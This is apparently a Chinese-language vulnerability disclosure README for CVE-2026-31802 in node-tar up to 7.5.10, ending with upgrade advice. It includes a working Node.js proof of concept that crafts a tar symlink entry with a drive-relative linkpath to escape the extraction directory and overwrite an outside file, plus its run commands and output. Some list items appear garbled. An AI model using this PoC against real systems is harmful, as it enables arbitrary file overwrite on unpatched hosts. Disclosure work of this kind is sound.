本仓库包含我针对 CVE-2026-31802 的概念验证和漏洞分析报告,这是 npm tar 包(node-tar)中的一个高危漏洞,影响版本 <= 7.5.10。
我发现,通过使用驱动器相对符号链接目标(例如 C:../../../target.txt),可以诱使 tar 创建指向预期解压目录之外的符号链接。实际上,这使得在解压过程中能够逃逸 cwd,并将归档解压转变为任意文件覆盖原语。
该漏洞可通过正常解压行为,配合攻击者控制的 tar 归档来触发。
在查看 tar 如何处理符号链接解压时,我注意到某些 linkpath 值在清理和验证过程中被不一致地处理。特别是,诸如以下驱动器相对路径:
C:../../../target.txt
最终在使用前被重写,但并未以最终存储和应用的相同形式进行验证。
正是这种不匹配使得该漏洞可以被利用。
该漏洞源于 tar 在解压过程中如何处理精心构造的符号链接 linkpath 值。
从高层次来看,解压逻辑会从类似以下路径中剥离驱动器前缀:
C:../../../target.txt
并将其重写为:
../../../target.txt
然而,遍历安全检查是针对原始未剥离的值执行的,而符号链接创建时则使用重写后的值。
这意味着恶意归档可以使用路径的一种形式通过验证,但在写入磁盘时仍会生成一个遍历到解压目录之外的符号链接。
恶意归档可以包含如下符号链接条目:
path: a/b/l
type: SymbolicLink
linkpath: C:../../../target.txt
当使用正常用法(例如)解压时:
tar.x({ cwd, file })
会发生以下情况:
linkpath 中剥离驱动器前缀。cwd 之外的文件。换句话说,解压逻辑验证一个值,却使用另一个值。这种差距创造了遍历原语。
我编写了以下 PoC 来演示解压后的符号链接可以被设置为指向解压根目录之外,然后用于覆盖工作目录之外的文件。
该 PoC:
../target.txta/b/l 符号链接条目的恶意 tar 归档linkpath 设置为 C:../../../target.txta/b/l 进行写入PoC 脚本:
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
npm install [email protected]
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
PWNED
../../../target.txt
lrwxrwxrwx ... a/b/l -> ../../../target.txt
-rw-r--r-- ... ../target.txt
PWNED 确认了解压目录之外的文件已被覆盖。
readlink 输出和文件列表显示解压后的符号链接指向预期解压根目录之外。
此问题使攻击者能够获得预期解压目录之外的任意文件覆盖原语,并具有执行解压进程的权限。
现实场景包括:
在这些环境中,精心构造的归档可能导致写入操作落在应用程序预期控制的目录之外。
tar <= 7.5.10tar 7.5.11此问题已在 7.5.11 中修补。
用户应立即升级:
npm install tar@^7.5.11